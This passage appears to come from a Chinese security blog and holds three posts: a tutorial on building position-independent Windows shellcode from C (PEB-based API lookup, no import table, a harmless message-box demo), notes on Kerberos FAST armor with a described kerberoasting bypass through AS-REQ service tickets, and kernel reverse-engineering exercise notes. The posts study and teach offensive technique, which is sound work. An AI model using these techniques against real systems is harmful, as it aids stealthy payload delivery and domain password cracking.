        if (curr_module->BaseDllName.Buffer == NULL) continue;
        WCHAR* curr_name = curr_module->BaseDllName.Buffer;

        size_t i = 0;
        for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
            WCHAR c1, c2;
            TO_LOWERCASE(c1, module_name[i]);
            TO_LOWERCASE(c2, curr_name[i]);
            if (c1 != c2) break;
        }
        if (module_name[i] == 0 && curr_name[i] == 0) {
            //found
            return curr_module->BaseAddress;
        }
        // not found, try next:
        curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
    }
    return NULL;
}

inline LPVOID get_func_by_name(LPVOID module, char* func_name)
{
    IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
    if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
        return NULL;
    }
    IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
    IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
    if (exportsDir->VirtualAddress == NULL) {
        return NULL;
    }

    DWORD expAddr = exportsDir->VirtualAddress;
    IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
    SIZE_T namesCount = exp->NumberOfNames;

    DWORD funcsListRVA = exp->AddressOfFunctions;
    DWORD funcNamesListRVA = exp->AddressOfNames;
    DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;

    //go through names:
    for (SIZE_T i = 0; i < namesCount; i++) {
        DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
        WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
        DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));

        LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
        size_t k = 0;
        for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
            if (func_name[k] != curr_name[k]) break;
        }
        if (func_name[k] == 0 && curr_name[k] == 0) {
            //found
            return (BYTE*)module + (*funcRVA);
        }
    }
    return NULL;
}

编写并编译汇编代码

正如前面提到的，编写shellcodes的经典方法就是汇编代码

首先我们需要选择用于编译代码的汇编器，这会对我们编写汇编代码时使用的语法有些许影响

对于Windows而言，最常用的汇编器是MASM，同时也是VS的一部分，有两个版本，一个32位的（ml.exe）一个64位的（ml64.exe)，MASM生成的object文件可以被链接为PE格式的可执行文件，下面是一段演示代码：

.386
.model flat

extern _MessageBoxA@16:near
extern _ExitProcess@4:near

.data
msg_title db "Demo!", 0
msg_content db "Hello World!", 0

.code
main proc
    push 0
    push 0
    push offset msg_title
    push offset msg_content
    push 0
    call _MessageBoxA@16
    push 0
    call _ExitProcess@4
main endp
end

使用VS自带的ml.exe和link.exe进行编译和链接，首先要使用vcvars32.bat初始化环境变量

编译：

ml.exe /c demo.asm

链接：

link.exe demo.obj /subsystem:console /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:main /out:demo32_masm.exe

MASM是Windows默认的汇编器，但是YASM（NASM的继任者）才是最好的选择，它是一个免费、独立的多平台汇编器，它可以被用来像MASM一样创建PE文件，YASM的语法稍有不同，请看下面的演示代码：

bits 32
extern _MessageBoxA@16:proc
extern _ExitProcess@4:proc

.data
msg_title db "Demo!", 0
msg_content db "Hello World!", 0

global main

main:
    push 0
    push 0
    push msg_title
    push msg_content
    push 0
    call _MessageBoxA@16
    push 0
    call _ExitProcess@4

编译

yasm-1.3.0-win32.exe -f win32 demo.asm -o demo32.obj

链接方法和上面的一样

上面这两段汇编代码都是不能直接生成shellcode的，因为他们都使用了外部依赖（extern），并没有遵循shellcode准则，不过我们可以通过移除这些依赖来生成shellcode

后面我们将使用MASM，因为如果我们想要使用VS来编译C代码，那么编译生成的汇编代码就是MASM语法，然后我们要做的就是从最终生成的PE文件中把代码挖出来

逐步编译C项目

现在大家都直接使用IDE来编译自己的代码了，这样一来，整个的编译过程对我们来说就是透明的了，默认情况下，输出就是一个PE文件：Windows专用的本地可执行文件格式

但是，有些时候将这个过程分成数个步骤还是有用的，这样我们可以拥有更大的控制权

让我们先来复习一下C/C++代码的编译过程

和汇编代码进行比较

相比于汇编代码，我们可以先使用C语言来编写代码，然后让编译器帮我们生成对应的汇编代码，之后再根据shellcode的准则来对生成的汇编代码进行适当的修改，相关内容将会在后面的章节中更详细地进行介绍

以下是一段样例代码

#include <Windows.h>

int main()
{
    const char msg_title[] = "Demo!";
    const char msg_content[] = "Hello World!";

    MessageBoxA(0, msg_title, msg_content, MB_OK);
    ExitProcess(0);
}

下面我们通过命令行的方式来生成exe，进行之前需要先运行vcvars32.bat，如果你想要生成64位的exe文件，那么就要先运行vcvars64.bat

编译链接：

cl /c demo.cpp                                         

link demo.obj /defaultlib:user32.lib /out:demo_cpp.exe

其中链接时我们可以使用第三方的链接器，比如crinkler，可以用来进行混淆等操作

如果在编译的时候加上一个/FA选项，那么编译器会在当前目录生成一个同名的asm文件（MASM语法），然后你可以再使用该asm文件编译出obj文件

这样我们就拥有了修改汇编代码的机会，而不是从0开始全部用汇编语言编写代码

从C语言项目到shellcode

核心理念

我们创建shellcodes的方法就是利用C编译器可以从C代码生成汇编代码的特性，它包含了如下几个基础步骤：

准备一个C项目
将该项目重构，所有的导入函数都通过PEB查找的方式进行（移除导入表中的依赖）
使用C编译器生成汇编代码：cl /c /FA /GS- <file_name>.cpp
重构汇编代码，以使得其遵循shellcode的准则（移除其他剩余的依赖，将字符串和变量等改为内联）
将汇编代码进行编译：cl /c file.asm
链接为PE文件，测试运行是否正常
获取.text中的代码，可以使用pe-parser，这个提取出来的代码就是shellcode

C编译器生成的汇编代码有时候并不是100%正确的，有时需要手动进行修改

准备C项目

当我们为shellcode准备C项目的时候，我们需要遵守以下几个规则：

不要直接使用导入表
总是通过PEB获取API地址
不要使用任何静态库
只是用局部变量，不要用全局变量和静态变量（否则它们会被存储到另外的section中从而破坏代码的位置无关性）
使用基于栈的字符串（或者在生成的汇编代码中内联）

基于栈的字符串转换

下面进行演示，我们的代码会弹个窗

#include <Windows.h>

int main()
{
    MessageBoxW(0, L"Hello World!", L"Demo!", MB_OK);
    ExitProcess(0);
}

准备导入函数

作为准备工作的第一步，我们需要将所有用到的导入函数进行动态加载，在演示代码中，有两个导入函数：MessageBoxW(user32.dll)和ExitProcess(kernel32.dll)

一般情况下，如果我们想要动态加载这些导入函数并避免使用导入表，我们需要对代码进行如下的重构

#include <Windows.h>

int main() 
{
    LPVOID u32_dll = LoadLibraryA("user32.dll");

    int (WINAPI* _MessageBoxW)(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCWSTR lpText,
        _In_opt_ LPCWSTR lpCaption,
        _in_ UINT uType) = (int (WINAPI*)(
            _In_opt_ HWND,
            _In_opt_ LPCWSTR,
            _In_opt_ LPCWSTR,
            _In_    UINT)) GetProcAddress((HMODULE)u32_dll, "MessageBoxW");

    if(_MessageBoxW==NULL) return 4;
    _MessageBoxW(0, L"Hello World!", L"Demo!", MB_OK);

    return 0;
}

但是上面的代码中依然还有两个依赖：LoadLibraryA和GetProcAddress，这两个函数需要通过PEB查找来解析出来，这个工作可以通过之前的peb_lookup.h完成，下面是完整的popup.cpp：

#include <Windows.h>
#include "peb_lookup.h"

int main()
{
    LPVOID base = get_module_by_name((const LPWSTR)L"kernel32.dll");
    if (!base) {
        return 1;
    }

    LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)"LoadLibraryA");
    if (!load_lib) {
        return 2;
    }
    LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)"GetProcAddress");
    if (!get_proc) {
        return 3;
    }
    auto _LoadLibraryA = reinterpret_cast<decltype(&LoadLibraryA)>(load_lib);
    auto _GetProcAddress = reinterpret_cast<decltype(&GetProcAddress)>(get_proc);

    LPVOID u32_dll = _LoadLibraryA("user32.dll");

    auto _MessageBoxW = reinterpret_cast<decltype(&MessageBoxW)>(_GetProcAddress((HMODULE)u32_dll, "MessageBoxW"));
    if (!_MessageBoxW) return 4;

    _MessageBoxW(0, L"Hello World!", L"Demo!", MB_OK);

    return 0;
}

跳转表

如果我们在代码中使用了switch语句，那么在编译之后生成的汇编代码中可能会产生一个跳转表，这个是由编译器优化产生的，在一个普通的可执行文件中，跳转表很有用，但是对于shellcode，我们必须谨慎处理，因为它会破坏shellcode的位置无关性：跳转表需要重定位

汇编语言中的跳转表：

是否生成跳转表由编译器决定，低于4种情况的switch语句通常不会生成跳转表，因此我们必须重构C代码避免出现过长的switch语句，通常有两种处理方式，一种是拆分为多个函数，另一种是拆分为多个if-else语句

示例：

下面这段代码生成的汇编代码中将会包含跳转表

#include<stdio.h>

bool switch_state(char * buf, char * resp) {
  switch (resp[0]) {
  case 0:
    if (buf[0] != '9') break;
    resp[0] = 'Y';
    return true;
  case 'Y':
    if (buf[0] != '3') break;
    resp[0] = 'E';
    return true;
  case 'E':
    if (buf[0] != '5') break;
    resp[0] = 'S';
    return true;
  case 'S':
    if (buf[0] != '8') break;
    resp[0] = 'D';
    return true;
  case 'D':
    if (buf[0] != '4') break;
    resp[0] = 'O';
    return true;
  case 'O':
    if (buf[0] != '7') break;
    resp[0] = 'N';
    return true;
  case 'N':
    if (buf[0] != '!') break;
    resp[0] = 'E';
    return true;
  }
  return false;
}

int main() {
  char resp[] = "caaonima";
  char buf[] = "nimacao";
  printf("%d\n", switch_state(buf, resp));
  return 0;
}

生成汇编代码：

cl /c /FA /GS- demo.cpp

可以看到有跳转表被生成

如果我们将原来代码中的switch语句截成几个代码块，就可以解决这个问题

#include<stdio.h>

bool switch_state(char * buf, char * resp) {
    {
        switch (resp[0]) {
        case 0:
          if (buf[0] != '9') break;
          resp[0] = 'Y';
          return true;
        case 'Y':
          if (buf[0] != '3') break;
          resp[0] = 'E';
          return true;
        case 'E':
          if (buf[0] != '5') break;
          resp[0] = 'S';
          return true;
        }
    }  
    {
        switch (resp[0]) {
        case 'S':
          if (buf[0] != '8') break;
          resp[0] = 'D';
          return true;
        case 'D':
          if (buf[0] != '4') break;
          resp[0] = 'O';
          return true;
        case 'O':
          if (buf[0] != '7') break;
          resp[0] = 'N';
          return true;
        }
    }
    {
        switch (resp[0]) {
        case 'N':
          if (buf[0] != '!') break;
          resp[0] = 'E';
          return true;
        }
    }
    return false;
}

int main() {
    char resp[] = "caaonima";
    char buf[] = "nimacao";
    printf("%d\n", switch_state(buf, resp));
    return 0;
}

使用if-else太麻烦，不推荐使用

移除隐式依赖

struct sockaddr_in sock_config = { 0 };

乍一看这行代码并没有调用任何函数，但是实际上它隐式调用了memset函数来初始化这个结构体变量

我这边实际测试的时候并没有发现有memset函数的引入

不过为了避免出现这种情况，我们还是使用自定义的函数或者inline的函数来初始化这种结构体

struct sockaddr_in sock_config;
SecureZeroMemory(&sock_config, sizeof(sock_config));

SecureZeroMemory是inline函数

可以看到该函数的定义直接存在于生成的汇编代码中

处理字符串（可选）

我们还需要将所有用到的字符串转换为基于栈的，这个在这篇文章中有提到

char load_lib_name[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0};
LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);

这段代码生成的汇编代码如下：

生成汇编代码

现在我们已经准备好将C项目编译生成汇编代码了

cl /c /FA /GS- demo.cpp

注意将peb_lookup.h和demo.cpp放到同一目录，编译的时候会自动将其包含进去

/GS-选项用于关闭stack cookie checks，如果没有这个选项，那么我们生成的汇编代码将会变成这样：

这样的话就多了一个外部依赖，所以一定要加上这个编译选项来避免出现这种情况

重构汇编代码

32位和64位有一些细微的差别，重构步骤也会因此有一些差异，我们将分开介绍

32位

首先使用vcvars32.bat初始化环境变量，然后编译生成汇编代码

0.清理汇编代码

首先，我们直接编译上面生成的汇编代码来生成EXE

在汇编代码的最上面加上下面这一行来解决这个报错

这个时候应该能生成一个可以正常运行的exe

使用PE-bear可以看到，该exe中仍然包含导入表

这是因为一些标准库默认链接到了我们的exe中，下面我们移除这些外部依赖

1.移除剩余的外部依赖

把汇编代码中的这三行注释掉：

include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES

在上面那一步中，我们生成的exe链接了静态库LibCMT，其中包含了入口函数_mainCRTStartup，现在我们把这个依赖移除之后，链接器就找不到入口函数了，因此我们需要在编译的时候显式指定入口函数：

ml /c demo.asm
link demo.obj /entry:main

这下彻底干净了

2.确保代码的位置无关性

如果之前在C代码中已经将所有的字符串重构为基于栈的，那么这一步就可以省略掉了

为了保证代码的位置无关性，我们不能在除了.text之外的任何其他sections中存储数据，所有的事情都必须要在.text中完成，如果我们的字符串被存储到了.data中，那么我们就需要重构汇编代码来inline掉这些字符串

这里不再赘述，推荐在写C代码的时候使用基于栈的方式

3.提取shellcode

这一步可以使用pe-parser完成

64位

首先使用vcvars64.bat初始化环境变量，然后编译生成汇编代码

栈对齐

如果你想用XMM指令，那么需要确保16字节的栈对齐，否则，你的exe会直接崩掉

相关细节在Matt Graeber (@Mattifestation)的文章Writing Optimized Windows Shellcode in C中的Ensuring Proper Stack Alignment in 64-bit Shellcode一节中有提到

这一部分暂且略过，并没有考虑编写64位的shellcode

THE END

演示视频

上面的演示视频中，shellcode提取之后使用加载器运行没有成功，正在解决这个问题

换了一个加载器就好了，原来的这个加载器可能有点问题

Kerberos--FAST armor

2022-09-29T00:00:00+02:00

references:

简介

提前国庆快乐

炒冷饭，都是别人研究的，我就在这做个笔记

这里的FAST并不是字面意义的fast，而是Flexible Authentication Secure Tunneling的首字母缩写，它的出现主要是为了解决域内用户密码被离线破解的问题，该技术在windows server 2012 R2引入

大家可能都听说过kerberoasting，这个技术主要用于离线爆破服务账户的明文密码，以及asrep-roast，用于离线爆破未开启pre-auth认证的普通用于的明文密码

这两种爆破都基于同一个事实：数据包被用户密码派生出来的哈希加密，并且我们可以控制加密算法为最弱的RC4

对于计算机账户，就不存在这种问题，因为计算机账户的明文密码是很长的一串随机字符串，且复杂度极高，这是我的测试环境中的机器账户的明文密码：

可以看到，相当的复杂，离线爆破是不可能的，就算你真的爆出来了，密码也已经失效了，机器账户默认情况下一个月自动更新一次密码

而启用了FAST之后，在进行kerberos认证的时候，会先使用机器账户从DC获取一个key，使用这个key来保护用户认证阶段的数据，这样即使离线爆破，获得的也只是这个short-term key，更何况你还不一定爆的出来，这种key长度一般都很长

这个特性被称作 FAST armor，顾名思义，它给kerberos的AS（TGS票据申请）阶段装了一层盔甲，不过它只保护用户的AS-REQ，不保护机器账户的AS-REQ，因为它本质上是使用机器账户的TGT去保护用户的TGT获取过程

启用FAST

通过组策略启用

对于域控制器：

对于工作站和成员服务器：

在启用之后，可以使用rubeus检测以下效果：

rubeus.exe asktgt /user:nmd /password:qwe123... /domain:cao.ni.ma /dc:WIN-BTAP0QG1S13.cao.ni.ma /outfile:1.kirbi

如果返回了这个错误，说明配置成功

协议分析

wireshark数据包文件：pcapng

由于rubeus和impacket都不支持kRB5-PADATA-FX-FAST (136)的解密和解析，所以大家就自己看看这个数据包的大致流程就行了，具体细节就不讲了

如果你想要自己测试，需要先清除当前机器账户的票据

新的攻击思路

FAST armor的设计初衷是缓解kerberoasting以及asrep-roast，在启用了FAST之后，这两种攻击方式都会失效，对于前者，因为必须要先获取到一个机器账户的TGT，才能进行TGT或ST的请求，导致攻击无法执行；对于后者，不包含preauth数据的AS-REQ会被KDC拒掉

可以看到，在GetTGT的时候失败了，报错显示KDC的策略拒绝掉了我们的请求

但是按照FAST的设计，计算机账户在申请TGT的时候并不会被保护

exploitph提出了一个想法，能否利用机器账户通过AS-REQ来请求ST，按照设计，AS-REQ是用于请求TGT的，但是如果我们把sname-string由krbtgt/cao.ni.ma改成一个合法的SPN会发生什么事情呢？

对impacket中的相关文件进行修改之后，使用机器账户申请TGT票据

可以看到，正常返回了ldap服务票据

使用_nwodtuhs的describeTicket.py查看该票据：

这样一来，asrep-roast的路被堵死了，但是kerberoasting never die!

exploitph把这个问题提交给了MSFT，那边的回复是经典的by design!

_nwodtuhs针对这个问题对impacket进行了一些修改，提交了一个PR，需要的可以看一下

Practical Reverse Engineering notes -- Part II

2022-08-05T00:00:00+02:00

Part II

目录可能会稍微有点乱，不要介意，凑合看吧

约定

不知道该怎么翻译的，我一律直接用英文原文，只可意会不可言传，自己去悟吧

内核调试配置

windbg启动命令

windbg32 –k net:port=50000,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p


windbg64 –k net:port=50100,key=2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p

书中使用到的所有恶意样本

密码是infected

List##Excercise

接着做题，他这个题是真的多༼☯﹏☯༽

在汇编代码中找InsertHeadList的内联代码

先观察该函数汇编代码的模式

把ListHead给Entry的Blink

mov [rax+8], rdi

取出ListHead的Flink给Entry的Flink

mov rcx, [rdi]
mov [rax], rcx

把Entry给ListHead的Flink的Blink和ListHead的Flink

mov [rcx+8], rax
mov [rdi], rax

模式大概就是：

有两个地址需要往后偏移8并进行写入值的操作

有两个地址需要进行写入值的操作

这两个写入操作有一个重叠地址（不考虑偏移量），这个地址就是新增的Entry

未产生交集的两个地址，偏移8进行写入的是OldEntry，另一个就是ListHead

其中ListHead会分别进行一次读取值和写入值的操作

在做题的过程中，我又发现一个模式

判断OldEntry的Blink是否指向ListHead

cmp qword ptr [r8+8], rax

jne MEM_LOCATION Branch

这里r8是OldEntry，rax是ListHead

这样的话，就直接找cmp和jne连着的地方，基本上就大差小不差了

nt!CcSetVacbInFreeList

根据上面总结出来的模式

rax为Entry

rdx（nt!CcVacbFreeList）为ListHead

未产生交集且偏移8进行写入操作的rcx是OldEntry

nt!CmpDoSort

正好5条指令

r11为OldEntry

rbx为新增Entry

r12为ListHead

nt!ExBurnMemory

r8为ListHead

rax为OldEntry

rcx（nt!BurnMemoryDescriptor）为新增Entry

nt!ExFreePoolWithTag

这两千多行的代码，我就是快速扫一眼都扫了半天，眼都快瞎了

rcx是ListHead

rbx是新增的Entry

rax是OldEntry

nt!IoPageRead

不用我勾选，上图中的5个mov指令就是链表插入操作，具体每个寄存器代表什么我也不写了，一眼就能看出来

里面的cmp指令用于判断OldEntry的Blink是否指向ListHead，正常情况下是相等的，具体什么情况下会不相等，我也不知道

nt!IovpCallDriver1

nt!KeInitThread

nt!KiInsertQueueApc

nt!KeInsertQueueDpc

nt!KiQueueReadyThread

nt!MiInsertInSystemSpace

nt!MiUpdateWsle

nt!ObpInsertCallbackByAltitude

定位InsertTailList这个函数的inline代码我就不做了，因为和InsertHeadList非常相似，模式几乎是一样的，只不过是改成了从尾部插入而已

做一下RemoveHeadList好了，题解我就不放在这里了，因为太占地方了

在这里查看题解

在往后的一道题就是说之前做的Insert和Remove链表节点的几个函数代码都有一个共同的特征，这个我在做题的时候也发现了，而且记录了下来，就是CMP和JNE指令

类似于下面这种

这个CMP指令的结果正常情况下应该是相等的，如果不相等，说明链表出现了问题，后面的代码就没办法正常执行了，因此直接跳转走并触发中断

每次判断失败的时候，就会执行

mov ecx, 3
int 29h

题目提示说需要使用查看IDT，那就来看一下29h中断是啥

kd> !idt 29

Dumping IDT: fffff8038577f080

29: fffff803858fb800 nt!KiRaiseSecurityCheckFailure

在windows 8 x64中INT指令的背后进行了哪些一系列的操作，什么TrapFrame又是啥东西，这些我都不是很清楚，也许永远都不会清楚，如果清楚了，我会更新的

通过在驱动程序中嵌入汇编代码，我可以跟进29h号中断的代码里，并观察到rsp指向的是RIP，此时的RIP是指向int指令的下一条指令的，后面的我就没戏看了，暂时还没必要，而且我也不是很清楚具体都压进去了什么东西到栈里面

Asynchronous and Ad-Hoc Execution

Ad-Hoc好像是老外的俚语，意思可能是立即，我也不清楚，硬着头皮往下看先

System Threads

就他妈离谱，上来就让我写个驱动去测试东西，我哪里会写驱动啊

OK，我会写驱动了，我也会调试驱动了，没什么难的

https://github.com/wqreytuk/x64_ASM_Kernel_Mode

这一节就是讲的PsCreateSystemThread这个函数，然后让判断下面这段话是否正确

在IOCTL handler中调用该函数并将ProcessHandle（第四个参数）设为NULL，那么创建出来的线程是运行在发起IO请求的用户空间的那个进程中的

答案是这句话是错误的，我自己写了个驱动测试了一下，项目地址

这个项目包含一个驱动和一个console app，其中console app用于向驱动程序发起IO请求，将console app和驱动程序放到一个路径下执行console app即可，console app会首先安装驱动，然后使用getchar阻塞等待按键，这个时候在debugger中设置好windbg并加载好符号设置好断点（Test Function），回到debuggee回车触发断点即可

通过观察传入的最后一个参数获取到ThreadHandle的值

fffff807`54a95316 e8e5bcffff      call    SIoctl!TestFunction (fffff807`54a91000)
fffff807`54a9531b 48c744243000000000 mov   qword ptr [rsp+30h],0
fffff807`54a95324 488d05b5bdffff  lea     rax,[SIoctl!thread_routine (fffff807`54a910e0)]
fffff807`54a9532b 4889442428      mov     qword ptr [rsp+28h],rax
fffff807`54a95330 48c744242000000000 mov   qword ptr [rsp+20h],0
fffff807`54a95339 4533c9          xor     r9d,r9d
fffff807`54a9533c 4533c0          xor     r8d,r8d
fffff807`54a9533f ba00000010      mov     edx,10000000h
fffff807`54a95344 488d8c24d8000000 lea     rcx,[rsp+0D8h]
fffff807`54a9534c ff15deccffff    call    qword ptr [SIoctl!_imp_PsCreateSystemThread (fffff807`54a92030)]

在PsCreateSystemThread函数调用完成后查看rsp+d8即可

4: kd> dq /c 1 (rsp+d8) L1
ffff808d`dffdf1b8  ffffffff`80004aec

ffffffff80004aec是一个HANDLE对象，即句柄，它并不是一个地址，而是一个索引值，可以在windbg中使用!handle来查看该句柄关联的信息

圈起来的这个值就是句柄代表的对象的地址，就是ETHREAD(KTHREAD)结构体的地址，这两个结构体的地址是一样的，因为KTHREAD是ETHREAD的第一个成员

4: kd> dt nt!_KTHREAD ffff8a071f0e3080
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x4758c54
   ...
   +0x098 ApcState         : _KAPC_STATE
   +0x098 ApcStateFill     : [43]  "???"
   ...

进入ApcState成员

4: kd> dx -id 0,0,ffff8a07222e60c0 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffff8a071f0e3118))
(*((ntkrnlmp!_KAPC_STATE *)0xffff8a071f0e3118))                 [Type: _KAPC_STATE]
    [+0x000] ApcListHead      [Type: _LIST_ENTRY [2]]
    [+0x020] Process          : 0xffff8a0715a64380 [Type: _KPROCESS *]
    [+0x028] InProgressFlags  : 0x0 [Type: unsigned char]
    [+0x028 ( 0: 0)] KernelApcInProgress : 0x0 [Type: unsigned char]
    [+0x028 ( 1: 1)] SpecialApcInProgress : 0x0 [Type: unsigned char]
    [+0x029] KernelApcPending : 0x0 [Type: unsigned char]
    [+0x02a] UserApcPendingAll : 0x0 [Type: unsigned char]
    [+0x02a ( 0: 0)] SpecialUserApcPending : 0x0 [Type: unsigned char]
    [+0x02a ( 1: 1)] UserApcPending   : 0x0 [Type: unsigned char]

这时就已经看到KPROCESS(EPROCESS)的地址了0xffff8a0715a64380

4: kd> dt nt!_EPROCESS 0xffff8a0715a64380
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   ...
   +0x448 ImageFilePointer : (null) 
   +0x450 ImageFileName    : [15]  "System"
   ...
   +0x870 CoverageSamplerContext : (null) 
   +0x878 MmHotPatchContext : (null)

可以看到ImageFileName成员的值是System，如果上面的那句话是正确的话，那么这里应该是ioctlapp.exe（console app的名称）

可以通过查看ioctlapp.exe进程的所有线程来进一步确认使用PsCreateSystemThread创建出来的线程并不在用户进程下

4: kd> !process ffff8a07222e60c0
PROCESS ffff8a07222e60c0
    SessionId: 2  Cid: 2f38    Peb: 6d2896e000  ParentCid: 1e94
    DirBase: 1572d5000  ObjectTable: ffffa282a0fe1d80  HandleCount:  65.
    Image: ioctlapp.exe
    VadRoot ffff8a072092b780 Vads 33 Clone 0 Private 175. Modified 2. Locked 0.
    DeviceMap ffffa2829bdb1e90
    Token                             ffffa2829f758060
    ElapsedTime                       00:05:33.095
    UserTime                          00:00:00.000
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         30720
    QuotaPoolUsage[NonPagedPool]      5008
    Working Set Sizes (now,min,max)  (956, 50, 345) (3824KB, 200KB, 1380KB)
    PeakWorkingSetSize                912
    VirtualSize                       2101299 Mb
    PeakVirtualSize                   2101300 Mb
    PageFaultCount                    1001
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      202

        THREAD ffff8a072084b080  Cid 2f38.3474  Teb: 0000006d2896f000 Win32Thread: 0000000000000000 RUNNING on processor 4
        IRP List:
            ffff8a071d3fc2d0: (0006,0118) Flags: 00060070  Mdl: 00000000
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      72069          Ticks: 1 (0:00:00:00.015)
        Context Switch Count      36             IdealProcessor: 5             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.046
        Win32 Start Address 0x00007ff67f522800
        Stack Init ffff808ddffdf650 Current ffff808ddffde730
        Base ffff808ddffe0000 Limit ffff808ddffd9000 Call 0000000000000000
        Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        ffff808d`dffdf0e0 fffff807`4e631f39 SIoctl!SioctlDeviceControl+0x109 [C:\Users\Administrator\Documents\microsoft Windows-driver-samples main setup-devcon (1)\microsoft windows-driver-samples main general-ioctl_wdm\sys\sioctl.c @ 310] 
        ffff808d`dffdf1e0 fffff807`4ebe8345 nt!IofCallDriver+0x59
        ffff808d`dffdf220 fffff807`4ebe8150 nt!IopSynchronousServiceTail+0x1a5
        ffff808d`dffdf2c0 fffff807`4ebe7526 nt!IopXxxControlFile+0xc10
        ffff808d`dffdf3e0 fffff807`4e7d2915 nt!NtDeviceIoControlFile+0x56
        ffff808d`dffdf450 00007ff9`7909c1b4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`dffdf4c0)
        0000006d`2877f488 00007ff9`762f57b7 0x00007ff9`7909c1b4
        0000006d`2877f490 0000006d`00000000 0x00007ff9`762f57b7
        0000006d`2877f498 00007ff9`426b3c20 0x0000006d`00000000
        0000006d`2877f4a0 00000001`00000001 0x00007ff9`426b3c20
        0000006d`2877f4a8 00000001`00000001 0x00000001`00000001
        0000006d`2877f4b0 0000006d`2877f4e0 0x00000001`00000001
        0000006d`2877f4b8 00007ff9`9c402408 0x0000006d`2877f4e0
        0000006d`2877f4c0 00007ff6`7f529ce0 0x00007ff9`9c402408
        0000006d`2877f4c8 0000016e`0000003c 0x00007ff6`7f529ce0
        0000006d`2877f4d0 00007ff6`7f529d60 0x0000016e`0000003c
        0000006d`2877f4d8 00007ff9`00000064 0x00007ff6`7f529d60
        0000006d`2877f4e0 00000000`00000000 0x00007ff9`00000064

        THREAD ffff8a071d5a3040  Cid 2f38.0bd4  Teb: 0000006d28977000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable
            ffff8a071db12a80  QueueObject
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      71866          Ticks: 204 (0:00:00:03.187)
        Context Switch Count      2              IdealProcessor: 5             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.000
        Win32 Start Address 0x00007ff979033d60
        Stack Init ffff808de0a8f650 Current ffff808de0a8ee20
        Base ffff808de0a90000 Limit ffff808de0a89000 Call 0000000000000000
        Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        ffff808d`e0a8ee60 fffff807`4e63c77d nt!KiSwapContext+0x76
        ffff808d`e0a8efa0 fffff807`4e63b604 nt!KiSwapThread+0xbfd
        ffff808d`e0a8f040 fffff807`4e63f4be nt!KiCommitThreadWait+0x144
        ffff808d`e0a8f0e0 fffff807`4e63efb9 nt!KeRemoveQueueEx+0x27e
        ffff808d`e0a8f190 fffff807`4e63ec8e nt!IoRemoveIoCompletion+0x99
        ffff808d`e0a8f2b0 fffff807`4e7d2915 nt!NtWaitForWorkViaWorkerFactory+0x25e
        ffff808d`e0a8f450 00007ff9`7909fa64 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff808d`e0a8f4c0)
        0000006d`28aff568 00007ff9`79034060 0x00007ff9`7909fa64
        0000006d`28aff570 00000000`00000000 0x00007ff9`79034060

        THREAD ffff8a071ff3a080  Cid 2f38.2df4  Teb: 0000006d28979000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable
            ffff8a071db12a80  QueueObject
        Not impersonating
        DeviceMap                 ffffa2829bdb1e90
        Owning Process            ffff8a07222e60c0       Image:         ioctlapp.exe
        Attached Process          N/A            Image:         N/A
        Wait Start TickCount      71866          Ticks: 204 (0:00:00:03.187)
        Context Switch Count      2              IdealProcessor: 6             
        UserTime                  00:00:00.000
        KernelTime                00:00:00.000
        Win32 Start Address 0x00007ff979033d60
        Stack Init ffff808de09d7650 Current ffff808de09d6e20
        Base ffff808de09d8000 Limit ffff808de09d1000 Call 0000000000000000
        Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
        Child-SP          RetAddr           Call Site
        ffff808d`e09d6e60 fffff807`4e63c77d nt!KiSwapContext+0x76
        ffff808d`e09d6fa0 fffff807`4e63b604 nt!KiSwapThread+0xbfd
